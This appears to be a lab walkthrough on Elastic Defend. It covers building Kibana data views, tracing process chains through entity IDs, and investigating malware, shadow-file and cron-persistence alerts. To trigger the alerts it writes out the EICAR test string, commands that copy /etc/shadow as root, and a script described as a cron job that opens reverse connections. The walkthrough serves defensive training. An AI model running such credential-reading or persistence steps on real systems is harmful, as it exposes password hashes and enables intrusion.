            <content:encoded><![CDATA[<p>Explore Elastic Defend telemetry and alerts to investigate endpoint activity.</p><h3>Configuring Elastic Defend</h3><p>Elastic Defend protects your endpoints by collecting telemetry from processes, files, network activity, and more. Using this data, it can detect suspicious behavior, prevent malicious activity, and provide actionable insights for investigation and response.</p><h4>What Does Elastic Defend Protect?</h4><p>Elastic Defend can be installed on traditional endpoints such as desktops and laptops, as well as in cloud and containerized environments, including Linux servers and Kubernetes clusters. Because it integrates closely with system processes and files, it can deliver endpoint detection and response (EDR) capabilities, next-generation antivirus (NGAV) protection, and behavioral monitoring. It provides a comprehensive EDR solution that combines data collection, threat detection, and preventive measures.</p><h4>How Elastic Defend Works</h4><p>Elastic Defend has two distinct capabilities: endpoint telemetry collection and endpoint protection. You can enable one or both depending on your environment and license.</p><ul><li><strong>Telemetry Collector (Event Visibility): </strong>Collects and forwards endpoint activity (process, file, network) for visibility and investigation, without taking preventive action</li><li><strong>NGAV / EDR (Prevention + Detection): </strong>Provides malware detection, ransomware and memory protection, credential theft defense, and the ability to prevent or block malicious activity in real time</li></ul><p><strong>What Does Elastic Defend Protect Against?</strong></p><p>Elastic Defend protects endpoints by detecting and preventing malicious activity at the operating system level. Rather than relying solely on known malware signatures, it monitors real-time system behavior. This includes processes, file activity, memory usage, and network connections, so that it can identify both known threats and suspicious techniques used by attackers. This allows it to detect both traditional malware and advanced malicious activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PWdGveNvATY69AX6CbImfg.png" /></figure><h4>Logging with Elastic Defend</h4><p>Elastic Defend continuously monitors system activity, collecting rich telemetry on processes, files, and network activity. However, each operating system also introduces additional logging categories and capabilities. In this task, we’ll explore what Elastic Defend monitors, how that data is structured within Elasticsearch, and how to investigate using Discover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*ed9juXX6fA1Znroe3B4bvg.png" /></figure><h3>Building an Elastic Defend Data View</h3><p>Using our current configuration, with an Elastic Agent installed on the host VM, we’re receiving a lot of metrics and logs in Elasticsearch. While this is great for visibility, the sheer volume of events can be overwhelming. To focus only on the events monitored by Elastic Defend, we’ll create a custom Data View in Kibana. Let’s head to the Kibana menu to get started.</p><ol><li>Scroll down to Stack Management</li><li>Select Data Views in the Kibana section</li><li>Choose Create data view</li></ol><p>In the Create data view flyout panel.</p><ol><li>Give your data view a name Defend Data</li><li>Enter the Index pattern logs-endpoint.events*, which covers file, network, and process events</li><li>Click Save data view to Kibana</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*pDVCOvkyEXw1glkh.png" /></figure><p>After saving the data view, let’s Set as default.</p><p>Lastly, using the Kibana menu in the top left.</p><ol><li>Select Discover</li><li>Ensure your newly made Data view is active</li><li>Investigate the event.category field to verify we have data coming in from our three types of monitored activity: file, network, and process</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axLxkJWNEogByX99mXF90w.png" /></figure><h4>Exploring Elastic Defend Data</h4><p>In the previous task, we set up a Data view to highlight the data captured by Elastic Defend. Now, we will investigate this data in Discover to see what types of events and activities we can track.</p><h3>Enumeration via CLI</h3><p>Let’s head to the command line in our virtual machine and run a simple enumeration script that will run a few commands to gather basic system information. All tools used in this walkthrough are in the /home/ubuntu/Downloads folder.</p><p>To Continue, Run the Enumeration Script</p><pre>ubuntu@elasticdefend:~$ cd Downloads<br>ubuntu@elasticdefend:~/Downloads$ ./enum.sh<br>ubuntu<br>uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo)<br>Linux elasticdefend 6.14.0-1016-aws #16~24.04.1-Ubuntu SMP Tue Oct 14 02:15:09 UTC 2025 x86_64 GNU/Linux<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>...</pre><p>You can probably guess from the output in your terminal which commands were run with the script, but let’s pivot back to Discover to investigate.</p><h3>Tracking Command Line Usage</h3><p>We know the script we ran is named enum.sh. Let&#39;s begin our investigation there. Ensure you&#39;re using the data view we set up and submit the following wildcard query:</p><ul><li>process.args: *enum.sh*</li></ul><p>This query will allow us to highlight script execution and begin piecing together a process chain of what occurred on our machine. From the screenshot below and the results in your Elastic instance, you can see that our search returns three results.</p><p>As of now, the data is visible, but it is not very clear what’s going on. Let’s construct a table using helpful Elastic Defend fields to start piecing together the events that unfolded on our machine. Using the fields sidebar, construct a table with the following fields using the + next to each field name.</p><ol><li>Ensure you’re using the Defend Data data view and the query process.args: *enum.sh*</li><li>Use the + next to each field to add them to a table</li><li>Add the following fields:<br>process.parent.name<br>process.parent.entity_id<br>process.name<br>process.entity_id<br>event.action<br>process.command_line<br>user.name</li><li>Locate the earliest log entry that signifies the execution of the enum.sh script</li><li>Highlight the process.entity_id field value for this log and copy this now</li></ol><p>The process.entity_id is a unique, non-reusable identifier generated by the Elastic Agent to track a specific process instance across its entire lifecycle. Unlike standard Process IDs (PIDs), which are frequently reused by the operating system, an Entity ID is globally unique. This makes it extremely valuable for investigation and correlating parent-child relationships. Please note that process.entity_id in your instance will be unique and will not match the one seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*hOWhbOxsd0TZZeVI.png" /></figure><p>So if the script was executed once, why do we see three events? When Elastic Defend collects process telemetry data, it tracks different lifecycle phases of the process. Let’s take a moment to look at the event.action field:</p><ul><li>[fork, exec, end]: Displays the combined lifecycle actions recorded for this specific process instance. This indicates the process was created, executed, and later terminated</li><li>fork: Process creation</li><li>uid_change: Process changed security context due to a sudo command in the script, temporarily elevating privileges to root</li></ul><p><strong>Tracking Process Chains</strong></p><p>Now that we have the unique process.entity_id for our script, we can use it as a key to unlock the rest of the investigation. To see every command spawned by our script, we need to look for events where the parent process matches the process we identified. In Elastic, this means taking the process.entity_id you just found and querying it against the field process.parent.entity_id. Use the query below with the process.entity_id from the previous search:</p><ul><li>process.parent.entity_id: &quot;process.entity_id&quot; and event.action: exec</li></ul><p>Now we have a clear view of all the commands generated from the enum.sh script.</p><ol><li>Our unique entity ID</li><li>The commands executed by enum.sh</li><li>The user who executed them</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*jNIeoAr1cIfwHXCk.png" /></figure><p>This scenario demonstrates the power of pivoting through telemetry to reconstruct an adversary’s actions. While we focused on process execution, remember that Elastic Defend provides additional data on file and network-related events. Let’s use what we learned above to conduct a small investigation and answer the questions below. You can start by returning to the command line and running the discovery.sh script with the following command.</p><ul><li>/home/ubuntu/Downloads/discovery.sh</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*p5QANGEhFiO-u7Olchg3oQ.png" /></figure><h4>Elastic Security Alerts and Analysis</h4><p>Now that we’ve explored the telemetry collected by the Elastic Defend integration, it’s time to shift focus to something even more important: alerts. While telemetry shows us what happened, alerts tell us what requires attention. Elastic Security provides a centralized Alerts dashboard designed for SOC workflows, and we will investigate this interface shortly. However, before diving in, it’s important to understand that alerts are simply documents stored in Elasticsearch, like any other event. This means we can use Discover to view alert documents directly and gain a brief overview of the data they contain.</p><h4>Creating an Alert</h4><p>Before we can investigate an alert, we must first generate one. Elastic Defend includes a large collection of prebuilt <a href="https://www.elastic.co/docs/reference/security/prebuilt-rules#endpoint">detection rules</a> that identify known malware and common adversary behaviors, such as suspicious file creation or modification, as well as persistence mechanisms. These rules analyze telemetry data and generate alerts when observed behavior matches their defined detection logic. Let’s test out Elastic Defend’s antivirus capabilities by creating a harmless test malicious document and investigating the alert in Discover. Head to the command line now and enter the following command:</p><ul><li>echo &#39;X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*&#39; &gt; eicar.txt</li></ul><p>After entering the command, if you list the directory contents, you may notice that our eicar.txt test file doesn&#39;t exist. Earlier, when configuring the Elastic Defend integration, we ensured that prevention was enabled, so this file was quarantined immediately upon creation.</p><p><strong>Alerts in Discover</strong></p><p>Let’s head back to Discover, but this time we will use the Security solution alerts data view to investigate the alert.</p><ol><li>Select the Security solution alerts data view</li><li>Build a table with the following fields:<br>kibana.alert.rule.name<br>kibana.alert.severity<br>event.action<br>file.path<br>file.name<br>user.name</li><li>Investigate the generated alert</li></ol><h4>Elastic Security Alerts Dashboard</h4><p>Now, let’s explore the powerful Alerts dashboard to review the malware alert. Using the Kibana menu, head to the Security section and select Alerts. We can now view a summary of our alert, including:</p><ol><li>The severity level</li><li>The name of the alert</li><li>The host on which it triggered</li><li>A table containing an overview of alerts</li></ol><p>This is a lot of information to take in, and many actions can be taken from this screen. For now, let’s expand the malware alert by clicking the View details button.</p><p>From the flyout panel, we have a wealth of information available, including descriptions of the triggered rule, relevant fields, and even suggested response actions.</p><ol><li>The Overview section</li><li>Rule description and Alert reason</li><li>Highlighted important fields</li><li>The Table section, which includes all fields associated with the alert. In the table section, you can pin important fields for your investigation</li></ol><h4>Analyzing the Event</h4><p>While structured event fields in the table view provide detailed metadata, it can sometimes be difficult to visualize how processes relate to one another solely from the data. This is where the Analyzer graph becomes powerful by providing a visual representation of process activity. Instead of manually correlating parent and child processes from fields, as we did in the previous tasks, the graph maps these relationships for you. You can see how a process started, what it spawned, and how activity unfolded over time. Go ahead and select the Analyze event option from the malware alert in the Alerts dashboard.</p><p>When you open the Analyzer graph, Elastic automatically centers the view on the event that triggered the alert, making it your anchor point for investigation. From there, Elastic reconstructs the surrounding activity into a visual process tree, helping you understand how the behavior unfolded. Depending on what commands you have executed in your session, your process tree may look slightly different, but in the example below, you can see:</p><ol><li>The parent process</li><li>The process that triggered the alert</li><li>The child process</li><li>Further child processes</li></ol><p>The EICAR example you just observed is intentionally simple. It primarily demonstrates a basic execution event where a shell launched a command that triggered a detection, allowing you to clearly see how the Analyzer graph visualizes parent and child processes. In the next task, you’ll move beyond this simple execution example and begin analyzing more complex behavior patterns.</p><h4>Alert Investigation</h4><p>Let’s put our newly gained alerting knowledge to the test by creating and investigating a new alert. Go ahead and hop back into the command line of our virtual machine, ensure we are running as root, and attempt to read and copy the /etc/shadow file using the commands below. Keep in mind that some detection rules execute on a scheduled interval rather than in real time. Because of this, you may need to wait a few minutes after running the previous commands before your alert appears in the dashboard.</p><ul><li>sudo su</li><li>cat /etc/shadow &gt; shadow_copy</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*ZKGLW5F07xoaIKC4F2Cxeg.png" /></figure><h4>Detection Rules and Further Investigation</h4><p>Elastic Security, combined with the rich telemetry from Elastic Defend, enables deeper and more intuitive investigations. Before diving into that, let’s review the detection rules available in Elastic Security. While Elastic Defend provides a set of prebuilt rules, you can also add a range of other rules tailored to your needs.</p><h4>Detection Rules</h4><p>Before triggering our next alert, let’s see how we can manage detection rules.</p><ol><li>Using the Kibana menu, head to Security</li><li>Select Rules</li><li>Click Detection rules (SIEM)</li></ol><p>From here, we can see a list of our installed rules, including Elastic Defend’s native rule list and two pre-added rules. You may notice that the Potential Shadow File Read via Command Line Utilities rule is added here, which we triggered and investigated in the previous task.</p><ul><li>Click + Add Elastic rules to view Elastic&#39;s extensive rule list.</li></ul><p>On the next screen, you can search and enable any rules you like based on your specific needs. For now, let’s keep the rules we have enabled and head back to the command line.</p><h4>Triggering an Alert</h4><p>Let’s hop back into the command line of our virtual machine, ensure we are running as root, and run the last script with the commands below to trigger an alert for the rules we added.</p><ul><li>sudo su</li><li>/home/ubuntu/Downloads/persist.sh</li></ul><p>This script will simulate a persistence technique by creating a cron job that repeatedly attempts to establish a reverse connection to a specified IP address.</p><h4>Investigating the Alert</h4><p>Go ahead and hop back into the Alerts dashboard in Kibana. Remember that the rules run on a schedule, so you may need to wait a moment for the alert to appear. In the screenshot below, and in your VM instance, you will see our third alert titled Cron Job Created or Modified. Let&#39;s start in the View details flyout panel.</p><p>At this point, we want to try to answer some basic questions about the alert. Let’s use the data available to us to develop a basic understanding of what occurred. Again, in the Table tab of the flyout menu, you can pin important fields. Let’s give it a shot by pinning the following fields.</p><ul><li>@timestamp</li><li>file.name</li><li>file.path</li><li>process.name</li><li>user.name</li></ul><p>From the following information, we can start to build an idea of what occurred and whether this behavior is indeed malicious.</p><p>In the previous task, we explored the analyzer graph to investigate the malware alert. Now, we will delve further to gain a deeper understanding of the events that unfolded when we ran the last script. Go ahead and open the analyzer graph for the Cron Job Created or Modified alert.</p><p>We know from the previous task that the analyzer graph is automatically centered on the target process and provides a visual representation of the entire process chain. Let’s investigate further!</p><ol><li>Click the bash process that triggered the alert</li><li>Investigate the overview flyout menu</li></ol><p><strong>Investigating Child Processes</strong></p><p>The script we executed clearly established persistence, but assume we don’t have access to the script itself. As analysts, we must rely on endpoint telemetry to determine what actions were performed. To begin reconstructing the activity, let’s examine the first chmod process spawned by the script:</p><ol><li>Click the chmod process</li><li>View the event details</li></ol><p>Looking at the process.args field values, you can see that execution permissions were set for a bash script named .sysupdate.sh using the command chmod +x /opt/.sysupdate. This tells us that a script named .sysupdate.sh exists in /opt, it was made executable, and the action was performed by a child process of the original bash execution that was alerted on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*IbNWbX28XRy9GFLI.png" /></figure><h4>Investigation</h4><p>Now that you have a solid understanding of Elastic Security alerts and how to investigate process chains using Elastic Defend telemetry data, it’s time to complete your analysis. Using the alert above, along with the Analyzer graph and event flyout panels, examine the parent and child processes to gain insight into the potential attack and reconstruct the full sequence of events that occurred on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*BuWpoa9IudDufsLqhnLrEQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=962de20602de" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>